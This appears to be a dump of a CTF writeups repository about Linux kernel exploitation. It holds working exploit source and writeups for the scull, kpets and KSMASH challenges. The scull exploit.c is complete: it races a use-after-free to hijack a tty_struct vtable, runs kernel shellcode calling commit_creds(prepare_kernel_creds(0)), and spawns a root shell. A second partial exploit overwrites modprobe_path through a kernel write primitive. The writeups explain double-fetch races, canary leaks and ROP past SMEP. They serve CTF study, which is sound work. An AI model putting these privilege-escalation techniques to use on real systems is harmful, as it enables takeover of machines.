0); 74 | } 75 | 76 | for (int i = 0; i < 0x40; i++) { 77 | uint32_t magic = 0; 78 | read(fds[i], &magic, 4); 79 | if (magic == TTY_MAGIC) { 80 | printf("[+] Found TTY_MAGIC @ 0x%x\n", i); 81 | /* There is also an ops that ends with 4c0 82 | * but the one that will trigger direct is 5e0 83 | */ 84 | uint64_t data[128]; 85 | read(fds[i], data, 1024); 86 | if ((data[3] & 0xfff) == 0x5e0) { 87 | #if 0 88 | for (int i = 0; i < 128; i++) { 89 | fprintf(stderr, "+0x%x: 0x%llx\n", i * 8, data[i]); 90 | } 91 | fprintf(stderr, "\n"); 92 | fflush(stderr); 93 | #endif 94 | kbase = data[3] - 0x10745e0; 95 | } 96 | } 97 | } 98 | assert(kbase); 99 | uint64_t slide = kbase - 0xffffffff81000000; 100 | printf("[+] kbase: 0x%llx\n", kbase); 101 | printf("[+] slide: 0x%llx\n", slide); 102 | 103 | for (int i = 0; i < 0x40; i++) { 104 | close(fds[i]); 105 | fds[i] = -1; 106 | close(ttys[i]); 107 | ttys[i] = -1; 108 | } 109 | 110 | for (int i = 0; i < 0x40; i++) { 111 | fds[i] = open("/dev/ctf", O_RDWR); 112 | assert(fds[i] >= 0); 113 | assert(ioctl(fds[i], 1337, 16) >= 0); 114 | } 115 | 116 | for (int i = 0; i < 0x40; i++) { 117 | /* Free all data */ 118 | assert(ioctl(fds[i], 1338, 0) >= 0); 119 | } 120 | 121 | int victims[0x40]; 122 | for (int i = 0; i < 0x40; i++) { 123 | victims[i] = open("/dev/ctf", O_RDWR); 124 | assert(victims[i] >= 0); 125 | assert(ioctl(victims[i], 1337, 1337 + i) >= 0); 126 | } 127 | for (int i = 0; i < 0x40; i++) { 128 | uint64_t data[2]; 129 | read(fds[i], data, 16); 130 | if (data[1] < 1337 || data[1] >= 1337 + 0x40) continue; 131 | fprintf(stderr, "[*] Found ctf_data at index: 0x%x(0x%llx)\n", i, data[1] - 1337); 132 | for (int i = 0; i < 2; i++) { 133 | fprintf(stderr, "+0x%x: 0x%llx\n", i * 8, data[i]); 134 | } 135 | arw_ctl = fds[i]; 136 | arw_fd = victims[data[1] - 1337]; 137 | fprintf(stderr, "\n"); 138 | break; 139 | } 140 | assert(arw_ctl != -1); 141 | assert(arw_fd != -1); 142 | 143 | printf("[+] Got Kernel R/W fd: 0x%x/0x%x\n", arw_ctl, arw_fd); 144 | printf("[*] kread64(kbase): 0x%llx\n", kread64(kbase)); 145 | 146 | int fd = creat("/tmp/x", 0777); 147 | dprintf(fd, "#!/bin/sh\ncp /dev/vdb /tmp/flag\nchmod 777 /tmp/flag"); 148 | close(fd); 149 | 150 | fd = creat("/tmp/dummy", 0777); 151 | write(fd, "\xff\xff\xff\xff", 4); 152 | close(fd); 153 | 154 | kwrite(kbase + 0x144dd40, "/tmp/x\x00", 7); 155 | system("/tmp/dummy"); 156 | system("cat /tmp/flag"); 157 | 158 | kwrite(kbase + 0x144dd40, "/sbin/modprobe\x00", 0xe); 159 | } 160 | -------------------------------------------------------------------------------- /WhiteHatGrandPrix06/Pwn01/exploit.c: -------------------------------------------------------------------------------- 1 | #include "scull.h" 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | 11 | #define success(f) assert((f) == 0) 12 | #define N_TTY 0x100 13 | #define N_SHIFT 768 14 | int *ttyfds = NULL; 15 | long *fake_vtable = NULL; 16 | void lpe() 17 | { 18 | __asm__(".intel_syntax noprefix;"); 19 | __asm__("movabs rax, 0xffffffff810c3bd0;"); //prepare_kernel_creds 20 | __asm__("xor rdi, rdi;"); 21 | __asm__("call rax; mov rdi, rax;"); 22 | __asm__("movabs rax, 0xffffffff810c3860;"); //commit_creds 23 | __asm__("call rax"); 24 | __asm__(".att_syntax;"); 25 | } 26 | void allocate_ttys() 27 | { 28 | for (int i = 0; i < N_TTY; i++) 29 | { 30 | ttyfds[i] = open("/dev/ptmx", O_RDWR); 31 | } 32 | puts("[*] TTYs allocation completed"); 33 | } 34 | void release_ttys() 35 | { 36 | for (int i = 0; i < N_TTY; i++) 37 | { 38 | close(ttyfds[i]); 39 | } 40 | } 41 | void set_quantum(int fd, int quantum) 42 | { 43 | assert(fd >= 0); 44 | success(ioctl(fd, SCULL_IOCSQUANTUM, &quantum)); 45 | } 46 | int get_quantum(int fd) 47 | { 48 | assert(fd >= 0); 49 | int result = 0; 50 | success(ioctl(fd, SCULL_IOCGQUANTUM, &result)); 51 | return result; 52 | } 53 | void overwrite_handler() 54 | { 55 | puts("exiting overwrite thread"); 56 | pthread_exit(0); 57 | } 58 | void overwrite(void *arg) 59 | { 60 | int fd = (int)arg; 61 | assert(fd >= 0); 62 | signal(SIGUSR1, overwrite_handler); 63 | long *buffer = calloc(1024, 1); 64 | memset(buffer, 0x41, 1024); 65 | long *fake = calloc(1024, 1); 66 | memset(fake, 0x41, 1024); 67 | while (1) 68 | { 69 | success(lseek(fd, 0, SEEK_SET)); 70 | for (int i = 0; i < 0x1000 * 0x100; i++) 71 | { 72 | assert(-1 != lseek(fd, (1024) * i, SEEK_SET)); 73 | if (32 == read(fd, buffer, 32)) 74 | { 75 | if (*(int *)buffer == 0x5401) 76 | { 77 | //puts("Found TTY_MAGIC"); 78 | assert(-1 != lseek(fd, (1024) * i, SEEK_SET)); 79 | buffer[3] = fake_vtable; 80 | 81 | write(fd, buffer, 32); 82 | } 83 | } 84 | } 85 | } 86 | } 87 | int main() 88 | { 89 | fake_vtable = calloc(0x100, 1); 90 | fake_vtable[0] = 0xffffffff81650590; 91 | fake_vtable[1] = 0xffffffff81650ff0; 92 | fake_vtable[2] = 0xffffffff81650910; 93 | fake_vtable[3] = 0xffffffff816504c0; 94 | fake_vtable[4] = 0xffffffff816512b0; 95 | fake_vtable[6] = 0xffffffff816508f0; 96 | fake_vtable[7] = 0xffffffff81650860; 97 | fake_vtable[10] = 0xffffffff81650b70; 98 | fake_vtable[11] = 0xffffffff816504b0; 99 | fake_vtable[12] = 0xffffffff81651160; 100 | fake_vtable[13] = 0xffffffff81651210; 101 | fake_vtable[16] = 0xffffffff81650830; 102 | fake_vtable[21] = 0xffffffff81651230; 103 | fake_vtable[12] = lpe; //0x4141414141414141; 104 | int fd = open("/dev/scull", O_RDWR); 105 | set_quantum(fd, 1024); 106 | close(fd); 107 | 108 | fd = open("/dev/scull", O_WRONLY); //Important: scull_trim 109 | close(fd); 110 | 111 | fd = open("/dev/scull", O_RDWR); 112 | assert(get_quantum(fd) == 1024); 113 | void *buffer = calloc(1024, 1000); 114 | memset(buffer, 0x41, 1024); 115 | puts("[*] Allocating buffers"); 116 | for (int i = 0; i < 1000 * 0x100; i++) 117 | { 118 | //printf("[*] Allocating buffer number %d...\n", i); 119 | assert(1024 == write(fd, buffer, 1024)); 120 | assert(-1 != lseek(fd, -1024, SEEK_CUR)); 121 | assert(1024 == read(fd, buffer, 1024)); 122 | assert(*(char *)buffer == 0x41); 123 | } 124 | success(lseek(fd, 0, SEEK_SET)); 125 | 126 | ttyfds = calloc(N_TTY, sizeof(int)); 127 | int fd2 = open("/dev/scull", O_RDWR); 128 | puts("[*] Starting overwriting thread"); 129 | pthread_t wt, at; 130 | pthread_create(&wt, 0, overwrite, fd); 131 | puts("[*] Starting reallocating thread"); 132 | pthread_create(&at, 0, allocate_ttys, fd); 133 | 134 | puts("[*] Triggering"); 135 | ioctl(fd2, SCULL_IOCSHIFT, N_SHIFT); 136 | 137 | sleep(3); 138 | puts("[*] Stopping overwriting thread"); 139 | pthread_kill(wt, SIGUSR1); 140 | puts("[*] Obtaining kernel code execution"); 141 | 142 | for (int i = 0; i < N_TTY; i++) 143 | { 144 | ioctl(ttyfds[i], 0x4242424242424242, 0x4343434343434343); 145 | } 146 | printf("UID: %d\n", getuid()); 147 | puts("[*] Closing"); 148 | close(fd2); 149 | close(fd); 150 | release_ttys(); 151 | if (getuid() == 0) 152 | system("/bin/sh"); 153 | } 154 | -------------------------------------------------------------------------------- /FBCTF19-Qual/kpets/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: "kpets FacebookCTF 2019 QR" 3 | date: 2019-06-12T23:15:34+0700 4 | Tags: ["FBCTF", "CTF", "pwn","kernel","linux","race-condition","double-fetch"] 5 | Language: ["English"] 6 | --- 7 | 8 | kpets 9 | === 10 | 11 | > welcome to Kernel Pets Simulator! 12 | 13 | > We wrote a pet store application that was too slow, so we made a kernel module for it instead. 14 | 15 | > Author: pippinthedog 16 | 17 | Hi everyone, this is the writeup for the Facebook CTF 2019 Qualification Round kpets challenge 18 | 19 | You may want to checkout the [exploit code](https://github.com/TrungNguyen1909/writeups/tree/master/FBCTF19-Qual/kpets) 20 | 21 | ## Description 22 | 23 | We are given a linux kernel module, packed with a qemu VM that runs Linux 5.1.5. 24 | 25 | The module, like it's self-introduction, is a application that can create and view pets. 26 | 27 | We'll communicate with the module by reading and writing over the pseudo-file-descriptor `/dev/kpets` 28 | 29 | `dev_read` is the read handler, while `dev_write` is the write handler. 30 | 31 | The only path that leads us to the flag is in the `dev_read` method, when the value 0xAA is in the first byte of a pet. 32 | 33 | The other path will print the pets and then return; 34 | 35 | We should try to make a pet that have a 0xAA in the first byte. 36 | 37 | `dev_write` will create a new pet from the struct that we written in. 38 | 39 | It's perform some sanity checks to prevent buffer-overflow. 40 | 41 | Most importantly, it checks that the first byte shouldn't be 0xAA 42 | 43 | One more thing, by reversing (which I haven't found during the CTF 😭), we can see that it saves the pets backward. 44 | 45 | ## Bug 46 | 47 | ```c 48 | int dev_write(__int64 a1, char *buf, __int64 sz) 49 | { 50 | v17 = sz; 51 | copy_from_user(&v19, buf + 4, 4LL); 52 | if ( v19 > 0x20 ) 53 | { 54 | printk("kpets: invalid pet name len: 0x%02x\n", v19); 55 | return v17; 56 | } 57 | copy_from_user(&v20, buf + 40, 4LL); 58 | if ( v20 > 0x40 ) 59 | { 60 | printk("kpets: invalid pet description len: 0x%02x\n", v20); 61 | return v17; 62 | } 63 | //Cut off 64 | printk("kpets: your new pet owner is %s!", names[v21 % 6]); 65 | copy_from_user(&v18, buf, 1LL); 66 | if ( (unsigned __int8)(v18 + 64) > 1u && v18 != 0xC2u ) 67 | { 68 | printk("kpets: invalid pet type: 0x%02hhx\n", v18); 69 | } 70 | else 71 | { 72 | copy_from_user(&v21, buf + 4, 4LL); 73 | *v10 = v18; 74 | copy_from_user(v10 + 8, buf + 8, (unsigned int)v21); 75 | copy_from_user(v10 + 44, buf + 44, v20); 76 | } 77 | return v17; 78 | } 79 | ``` 80 | 81 | We can see that it checks the supplied length of the pet's name and the supplied length of the pet's description 82 | and then copy that amount of data to kernel memory. 83 | 84 | The problem is in this piece of code: 85 | 86 | ```c 87 | copy_from_user(&v19, buf + 4, 4LL); 88 | if ( v19 > 0x20 ) 89 | { 90 | printk("kpets: invalid pet name len: 0x%02x\n", v19); 91 | return v17; 92 | } 93 | ... 94 | copy_from_user(&v21, buf + 4, 4LL); 95 | *v10 = v18; 96 | copy_from_user(v10 + 8, buf + 8, (unsigned int)v21); 97 | ``` 98 | 99 | The module copies the length from the userspace, perform checks on it, and copies it **AGAIN** from the userspace, unchecked, to use it as the copy length. 100 | 101 | By doing this, it introduces a race condition. 102 | 103 | That value may have been changed in the user's memory between two copies, which invalidates the sanity checks. 104 | 105 | From here, we have a buffer-overflow with arbitrary data's length on the name field of the kernel memory. 106 | 107 | To exploit this, we can create a new thread that repeatedly changes the length value in the userspace. 108 | 109 | ## The remaining road to the flag.... 110 | 111 | Well, I did stop here 8 hours before the CTF ends.... 112 | 113 | 114 | It was a late Sunday night... 115 | 116 | 117 | My teammates are resting for the next Monday... 118 | 119 | 120 | I was stuck. 121 | 122 | 123 | Well, after 2 weeks, I'm here. 124 | 125 | To finish what I did start.... 126 | 127 | But then I continued to fail. 128 | 129 | I decided to read some spoilers.... 130 | 131 | Back on. 132 | 133 | We can see that it saves the pets backward. 134 | 135 | So, we can just first create a pets that satisfies all the condition. 136 | 137 | Then use the race condition to make the next pet's name overflows to the previous one with 0xAA 138 | 139 | Then, we got the flag. 140 | 141 | ## Shoutout 142 | 143 | - pippinthedog from Facebook CTF for bringing a great challenge for me. 144 | 145 | - WALLY0813's writeup. Without that writeup, I couldn't have finish the leftover part. 146 | -------------------------------------------------------------------------------- /matesctf/KSMASH/index.vi.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: "matesCTF KSMASH" 3 | date: 2019-02-18T16:48:13+07:00 4 | Tags: ["matesCTF", "CTF", "pwn","kernel","linux"] 5 | Language: ["Vietnamese"] 6 | --- 7 | 8 | # KSMASH 9 | 10 | ## Background 11 | Đây là 1 bài exploit linux kernel module của nyaacate@gmail.com host ở vòng 3 MatesCTF 2018-2019 12 | 13 | Bài này mình solve sau giờ :< nhưng vì trước khi kết thúc CTF khoảng 2hr mà chưa mình chưa thấy team nào solved bài này cả, 14 | nên là mình vẫn mạnh dạn gửi exploit code vào mail tác giả. 15 | 16 | [Exploit](https://github.com/TrungNguyen1909/writeups/tree/master/matesctf/KSMASH) 17 | 18 | ## Challenge Description 19 | 20 | Có một kernel module đang chạy, nhiệm vụ là từ non-root user escape lên r00t để đọc file `/root/flag` 21 | 22 | ## Reversing 23 | 24 | Kernel module có tên là kmod, bạn có thể tìm thấy file executable bằng lệnh 25 | 26 | ``` 27 | $ modinfo kmod 28 | filename: /lib/modules/4.18.0-15-generic/kernel/drivers/char/kmod.ko 29 | author: nyaacate 30 | license: Unlicense 31 | srcversion: 764EF51CE35A221A02D9CA0 32 | depends: 33 | retpoline: Y 34 | name: kmod 35 | vermagic: 4.18.0-15-generic SMP mod_unload 36 | ``` 37 | 38 | mở IDA64, load kmod.ko lên, sẽ tìm thấy những điều sau 39 | 40 | - Kernel module giao tiếp bằng file /proc/havoc 41 | 42 | - Khi đọc từ đó, kernel module sẽ ngây thơ đọc kernel memory cho chúng ta bằng hàm careless_read 43 | 44 | - Khi viết vào đó, kernel module sẽ ngây thơ viết nguyên si vào kernel memory cho chúng ta bằng hàm careless_write 45 | 46 | - Có thể thấy, 2 hàm đều đọc và viết và 1 kí tự :) 47 | 48 | - Đây là 1 bài Buffer Overflow kernel cơ bản :) 49 | 50 | ### Protection : 51 | 52 | - kASLR (kernel level Address Space Layout Randomization) : chắc là quen thuộc rồi nhỉ :) nhưng là ở kernel thôi :) 53 | 54 | - SMEP (Supervisor Mode Execution Protection) : Cơ chế bảo vệ ở CPU, không cho phép đọc instruction từ user memory :) 55 | 56 | - Kernel Stack Cookies (Canary) 57 | 58 | ## Exploit Vector : 59 | **Từ kernel, gọi `commit_creds(prepare_kernel_cred(0))` để lên r00t rồi trở về userspace.** 60 | 61 | - Đầu tiên, chúng ta đọc kernel memory từ `/proc/havoc` để lấy thông tin 62 | 63 | - Thông tin quan trọng sẽ nằm ở offset 1 64 | 65 | ``` 66 | --------------------------- 67 | | Stack Canary | 68 | --------------------------- 69 | | Saved RBX | 70 | --------------------------- 71 | | Saved RBP | 72 | --------------------------- 73 | | Saved RIP | 74 | --------------------------- 75 | ``` 76 | 77 | - Như vậy, chúng ta có thể Leak và Defeat Stack Canary 78 | 79 | - Kernel ASLR defeated bằng cách tính offset từ RIP 80 | 81 | - Công việc còn lại là ROP để lên r00t và quay về 82 | 83 | + Trong kernel không có gadget `mov rdi, rax` để chuyển kết quả của `prepare_kernel_cred` cho `commit_creds`, 84 | tuy nhiên, vì 1 lý do nào đó, RAX lúc đó lại sẵn = RDI nên chúng ta không cần :) (dùng kernel Debugger sẽ hiểu :)) 85 | 86 | + Cuối cùng là SWAPGS xong rồi IRETQ (interrupt return) để trở về chương trình của chúng ta từ kernel 87 | 88 | IRETQ sẽ khôi phục lại một số register như là RIP, CS, RFLAGS, RSP, SS, cụ thể, nó sẽ pop từ stack như sau 89 | 90 | ![KSMASH-01](/static/img/KSMASH-01.png) 91 | 92 | ### Notes & Issue 93 | + Chúng ta không thể để fake stack ở vị trí đầu memory page vì như vậy sẽ gây stack overflow trong kernel, 94 | 95 | Ta cần chọn address như là `0x60fffe00` chẳng hạn ( nói chung là đừng nhiều số 0 quá là được :)) 96 | 97 | + Khi mình IRETQ về, mình bị SIGSEGV ở mọi câu lệnh mà RIP trỏ vào :< (IDKY), 98 | 99 | Thế nên mình đã làm 1 trò dirty bẩn bựa là handle signal SIGSEGV bằng 1 hàm, trong đó, mình để `system("/bin/sh")` :)) 100 | 101 | + Tất cả thông tin về cách giao tiếp & những thứ khác vv thì các bạn có thể check file exploit.c 102 | 103 | + KP trên các máy >= 4th Gen(Haswell) do SMAP -> bypassable = ROP cr4 104 | + Solution ret2usr sẽ không qua được vì từ Linux 4.15, kernel sẽ map tất tần tần userspace memory thành NX. 105 | + SIGSEGV khi iretq cũng là do KPTI(Kernel Page Table Isolation) (a.k.a KAISER) có từ khi patch Meltdown 106 | => Resolve bằng cách ROP CR3? 107 | 108 | ## Gotchas :) 109 | + Trong `/home/nyan` có source của kernel module :))) 110 | 111 | ## Reference 112 | 113 | [ROP your way to Kernel part 1](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/linux-kernel-rop-ropping-your-way-to-part-1/) 114 | 115 | [ROP your way to Kernel part 2](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/linux-kernel-rop-ropping-your-way-to-part-2/) 116 | 117 | [Practical SMEP bypass techniques on Linux](https://cyseclabs.com/slides/smep_bypass.pdf) 118 | 119 | Cả 3 đều là của tác giả Vitaly Nikolenko :O 120 | 121 | [Changes in Linux Kernel](https://outflux.net/blog/archives/2018/02/05/security-things-in-linux-v4-15/) 122 | 123 | 124 | 125 | -------------------------------------------------------------------------------- /WhiteHatGrandPrix06/Pwn01/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: "Pwnable01 scull - Whitehat Grandprix 06" 3 | date: 2020-12-28T17:22:26+0700 4 | Tags: ["WhiteHatGrandprix", "CTF", "pwn", "linux", "kernel", "race-condition", "use-after-free", "UAF"] 5 | Language: ["English"] 6 | --- 7 | 8 | Pwnable01 9 | === 10 | 11 | ## Intro 12 | 13 | Hi guys, this is the writeup for the challenge _Pwnable01_ from Whitehat Grandprix 06 Final 14 | 15 | You may want to checkout the [exploit code and challenge's source](https://github.com/TrungNguyen1909/writeups/tree/master/WhiteHatGrandPrix06/Pwn01) 16 | 17 | ## Challenge 18 | 19 | > #pwn01: 20 | You can ssh into our server as a low-privilege user. Can you exploit our scull driver and read the flag? 21 | 22 | >Note: - You have 12 times to request us to restart your virtual machine (in case your virtual machine crashed). 23 | 24 | We are provided a zip file containing a VM image for the challenge and its source code. 25 | 26 | ### Spot the differences 27 | Noticing the open source license text on top of the source code files, I did a quick search to find the [original source code](https://github.com/jesstess/ldd4/blob/master/scull/main.c), which then could be diffed to find the changes. 28 | 29 | #### Differences 30 | 31 | The mutex statements were removed, definitely mean there will be some race conditions going on here. 32 | 33 | A new function, reachable from `ioctl`, named `scull_shift`. 34 | 35 | ### Device structure 36 | 37 | Each device has a linked list of quantum sets, each set contains a quantum, which is an array of data. 38 | 39 | The number of quantum in each set and the size of each quantum is initialized with global variables 40 | ```c 41 | extern int scull_quantum; 42 | extern int scull_qset; 43 | ``` 44 | 45 | These parameters can be get/set using ioctl cmds `SCULL_IOCGQUANTUM`, `SCULL_IOCSQUANTUM`, `SCULL_IOCGQSET`, and `SCULL_IOCSQSET`, respectively. 46 | 47 | Each set and its quantums' data are allocated with `kmalloc` in function `scull_write`, called when writing data to the device. 48 | 49 | The data could also be read. The function handling that operation is `scull_read`. 50 | 51 | `scull_read` and `scull_write` use the current file offset `f_pos` to determine which buffer to read from/write to. Sets are "next to" each others, in each set, quantums are "next to" each other. 52 | 53 | ### Racy `scull_shift` 54 | 55 | This function will go through each set, freeing `n` first quantums, and shift the remaining ones to the front. 56 | 57 | However, the process is done while not holding to the lock and freed pointers are left as it until all quantums have been freed, there is time frame starts after the quantums are freed and ends when all quantums are shifted. During the time, read and write operations to the device may be done on the freed buffers, causing a _use-after-free_ bug. 58 | 59 | ## Exploitation 60 | 61 | We will try to win the race by spawn another thread repeatedly writing data to the `fd` to the start of each quantum, using `lseek` to set the position. 62 | 63 | While doing so, we spawn another thread allocating victim data structures to be overwritten. To gain code execution, ideally, the victim structure should contain a function pointer or a virtual function table (vtable). 64 | 65 | Finally, trigger `scull_shift` through `ioctl`. 66 | 67 | In the ideal situation, after a `kfree` completed, a victim object is allocated to the same location, and a `write` happened just before the shift. 68 | 69 | To increase the likelihood of such event, we will allocate lots and lots of sets, the magic number for me is `0x100` 70 | 71 | ### Victim data structure 72 | 73 | Because we can set the quantum size, we have no limitation on choosing victim structure. 74 | 75 | One of the ideal structures to overwrite is [`struct tty_struct`](https://elixir.bootlin.com/linux/latest/source/include/linux/tty.h#L285). 76 | 77 | At offset 32 bytes there's a vtable pointer `const struct tty_operations *ops;` to be overwritten with our crafted one. 78 | 79 | You can allocate it by `open("/dev/ptmx", O_RDWR)` and deallocate it by calling `close()` on the file descriptor. 80 | 81 | One more interesting thing is that there's a [magic number](https://elixir.bootlin.com/linux/latest/source/include/linux/tty.h#L286) equals to [0x5401](https://elixir.bootlin.com/linux/latest/source/include/linux/tty.h#L355) at the beginning of the struct. This can be used to check whether you have successfully overwritten the correct structure or not. 82 | 83 | ### Executing code @ ring 0 84 | 85 | Since [SMEP and SMAP is turned off](./guide.txt), we can craft a fake vtable at userspace and set a function address pointed to our shellcode at userspace. Without knowing which `struct tty_struct` has been overwritten, a brute force solution of attempting to trigger it on all allocated ttys would work anyway. 86 | 87 | With shellcode execution, getting root by calling `commit_creds(prepare_kernel_creds(0))` at kernel level is _relatively_ trivial to do. 88 | 89 | ## Shoutout 90 | 91 | - [ptr-yudai](https://ptr-yudai.hatenablog.com/), for the technique. -------------------------------------------------------------------------------- /WhiteHatGrandPrix06/Pwn01/scull.h: -------------------------------------------------------------------------------- 1 | /* ioctl command encoding: 32 bits total, command in lower 16 bits, 2 | * size of the parameter structure in the lower 14 bits of the 3 | * upper 16 bits. 4 | * Encoding the size of the parameter structure in the ioctl request 5 | * is useful for catching programs compiled with old versions 6 | * and to avoid overwriting user space outside the user buffer area. 7 | * The highest 2 bits are reserved for indicating the ``access mode''. 8 | * NOTE: This limits the max parameter size to 16kB -1 ! 9 | */ 10 | 11 | /* 12 | * The following is for compatibility across the various Linux 13 | * platforms. The generic ioctl numbering scheme doesn't really enforce 14 | * a type field. De facto, however, the top 8 bits of the lower 16 15 | * bits are indeed used as a type field, so we might just as well make 16 | * this explicit here. Please be sure to use the decoding macros 17 | * below from now on. 18 | */ 19 | #define _IOC_NRBITS 8 20 | #define _IOC_TYPEBITS 8 21 | 22 | /* 23 | * Let any architecture override either of the following before 24 | * including this file. 25 | */ 26 | 27 | #ifndef _IOC_SIZEBITS 28 | # define _IOC_SIZEBITS 14 29 | #endif 30 | 31 | #ifndef _IOC_DIRBITS 32 | # define _IOC_DIRBITS 2 33 | #endif 34 | 35 | #define _IOC_NRMASK ((1 << _IOC_NRBITS)-1) 36 | #define _IOC_TYPEMASK ((1 << _IOC_TYPEBITS)-1) 37 | #define _IOC_SIZEMASK ((1 << _IOC_SIZEBITS)-1) 38 | #define _IOC_DIRMASK ((1 << _IOC_DIRBITS)-1) 39 | 40 | #define _IOC_NRSHIFT 0 41 | #define _IOC_TYPESHIFT (_IOC_NRSHIFT+_IOC_NRBITS) 42 | #define _IOC_SIZESHIFT (_IOC_TYPESHIFT+_IOC_TYPEBITS) 43 | #define _IOC_DIRSHIFT (_IOC_SIZESHIFT+_IOC_SIZEBITS) 44 | 45 | /* 46 | * Direction bits, which any architecture can choose to override 47 | * before including this file. 48 | * 49 | * NOTE: _IOC_WRITE means userland is writing and kernel is 50 | * reading. _IOC_READ means userland is reading and kernel is writing. 51 | */ 52 | 53 | #ifndef _IOC_NONE 54 | # define _IOC_NONE 0U 55 | #endif 56 | 57 | #ifndef _IOC_WRITE 58 | # define _IOC_WRITE 1U 59 | #endif 60 | 61 | #ifndef _IOC_READ 62 | # define _IOC_READ 2U 63 | #endif 64 | 65 | #define _IOC(dir,type,nr,size) \ 66 | (((dir) << _IOC_DIRSHIFT) | \ 67 | ((type) << _IOC_TYPESHIFT) | \ 68 | ((nr) << _IOC_NRSHIFT) | \ 69 | ((size) << _IOC_SIZESHIFT)) 70 | 71 | #ifndef __KERNEL__ 72 | #define _IOC_TYPECHECK(t) (sizeof(t)) 73 | #endif 74 | 75 | /* 76 | * Used to create numbers. 77 | * 78 | * NOTE: _IOW means userland is writing and kernel is reading. _IOR 79 | * means userland is reading and kernel is writing. 80 | */ 81 | #define _IO(type,nr) _IOC(_IOC_NONE,(type),(nr),0) 82 | #define _IOR(type,nr,size) _IOC(_IOC_READ,(type),(nr),(_IOC_TYPECHECK(size))) 83 | #define _IOW(type,nr,size) _IOC(_IOC_WRITE,(type),(nr),(_IOC_TYPECHECK(size))) 84 | #define _IOWR(type,nr,size) _IOC(_IOC_READ|_IOC_WRITE,(type),(nr),(_IOC_TYPECHECK(size))) 85 | #define _IOR_BAD(type,nr,size) _IOC(_IOC_READ,(type),(nr),sizeof(size)) 86 | #define _IOW_BAD(type,nr,size) _IOC(_IOC_WRITE,(type),(nr),sizeof(size)) 87 | #define _IOWR_BAD(type,nr,size) _IOC(_IOC_READ|_IOC_WRITE,(type),(nr),sizeof(size)) 88 | 89 | /* used to decode ioctl numbers.. */ 90 | #define _IOC_DIR(nr) (((nr) >> _IOC_DIRSHIFT) & _IOC_DIRMASK) 91 | #define _IOC_TYPE(nr) (((nr) >> _IOC_TYPESHIFT) & _IOC_TYPEMASK) 92 | #define _IOC_NR(nr) (((nr) >> _IOC_NRSHIFT) & _IOC_NRMASK) 93 | #define _IOC_SIZE(nr) (((nr) >> _IOC_SIZESHIFT) & _IOC_SIZEMASK) 94 | 95 | /* ...and for the drivers/sound files... */ 96 | 97 | #define IOC_IN (_IOC_WRITE << _IOC_DIRSHIFT) 98 | #define IOC_OUT (_IOC_READ << _IOC_DIRSHIFT) 99 | #define IOC_INOUT ((_IOC_WRITE|_IOC_READ) << _IOC_DIRSHIFT) 100 | #define IOCSIZE_MASK (_IOC_SIZEMASK << _IOC_SIZESHIFT) 101 | #define IOCSIZE_SHIFT (_IOC_SIZESHIFT) 102 | 103 | /* 104 | * Ioctl definitions 105 | */ 106 | 107 | /* Use 'k' as magic number */ 108 | #define SCULL_IOC_MAGIC 'k' 109 | /* Please use a different 8-bit number in your code */ 110 | 111 | #define SCULL_IOCRESET _IO(SCULL_IOC_MAGIC, 0) 112 | 113 | /* 114 | * S means "Set" through a ptr, 115 | * T means "Tell" directly with the argument value 116 | * G means "Get": reply by setting through a pointer 117 | * Q means "Query": response is on the return value 118 | * X means "eXchange": switch G and S atomically 119 | * H means "sHift": switch T and Q atomically 120 | */ 121 | #define SCULL_IOCSQUANTUM _IOW(SCULL_IOC_MAGIC, 1, int) 122 | #define SCULL_IOCSQSET _IOW(SCULL_IOC_MAGIC, 2, int) 123 | #define SCULL_IOCTQUANTUM _IO(SCULL_IOC_MAGIC, 3) 124 | #define SCULL_IOCTQSET _IO(SCULL_IOC_MAGIC, 4) 125 | #define SCULL_IOCGQUANTUM _IOR(SCULL_IOC_MAGIC, 5, int) 126 | #define SCULL_IOCGQSET _IOR(SCULL_IOC_MAGIC, 6, int) 127 | #define SCULL_IOCQQUANTUM _IO(SCULL_IOC_MAGIC, 7) 128 | #define SCULL_IOCQQSET _IO(SCULL_IOC_MAGIC, 8) 129 | #define SCULL_IOCXQUANTUM _IOWR(SCULL_IOC_MAGIC, 9, int) 130 | #define SCULL_IOCXQSET _IOWR(SCULL_IOC_MAGIC, 10, int) 131 | #define SCULL_IOCHQUANTUM _IO(SCULL_IOC_MAGIC, 11) 132 | #define SCULL_IOCHQSET _IO(SCULL_IOC_MAGIC, 12) 133 | 134 | /* 135 | * The other entities only have "Tell" and "Query", because they're 136 | * not printed in the book, and there's no need to have all six. 137 | * (The previous stuff was only there to show different ways to do it. 138 | */ 139 | #define SCULL_P_IOCTSIZE _IO(SCULL_IOC_MAGIC, 13) 140 | #define SCULL_P_IOCQSIZE _IO(SCULL_IOC_MAGIC, 14) 141 | /* ... more to come */ 142 | #define SCULL_IOCSHIFT _IO(SCULL_IOC_MAGIC, 15) 143 | -------------------------------------------------------------------------------- /matesctf/KSMASH/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: "matesCTF KSMASH" 3 | date: 2019-02-18T16:48:13+07:00 4 | Tags: ["matesCTF", "CTF", "pwn","kernel","linux"] 5 | Language: ["English"] 6 | --- 7 | 8 | # KSMASH - Kernel Stack Smashing 9 | 10 | ## Background 11 | This is a Linux Kernel Module(LKM) exploitation challenge by nyaacate@gmail.com host in Round 3 MatesCTF 2018-2019 12 | 13 | I solved this challenge overtime :< 14 | But It seems that no team solved this so I still sent the exploit to the challenge author for testing and also wrote this writeup. 15 | 16 | You may want to checkout the [exploit code](https://github.com/TrungNguyen1909/writeups/tree/master/matesctf/KSMASH) 17 | 18 | ## Challenge Description 19 | 20 | A kernel module is running, escape from non-root user to r00t to read `/root/flag` 21 | 22 | ## Reversing 23 | 24 | Kernel module is named kmod, You can find the module using this command 25 | 26 | ``` 27 | $ modinfo kmod 28 | filename: /lib/modules/4.18.0-15-generic/kernel/drivers/char/kmod.ko 29 | author: nyaacate 30 | license: Unlicense 31 | srcversion: 764EF51CE35A221A02D9CA0 32 | depends: 33 | retpoline: Y 34 | name: kmod 35 | vermagic: 4.18.0-15-generic SMP mod_unload 36 | ``` 37 | 38 | Fire up IDA64, load kmod.ko, It shown that 39 | 40 | - Kernel module can be communicated through the pseudo-file `/proc/havoc` 41 | 42 | - Read from it, the kernel module will read up the kernel stack memory for us with the function 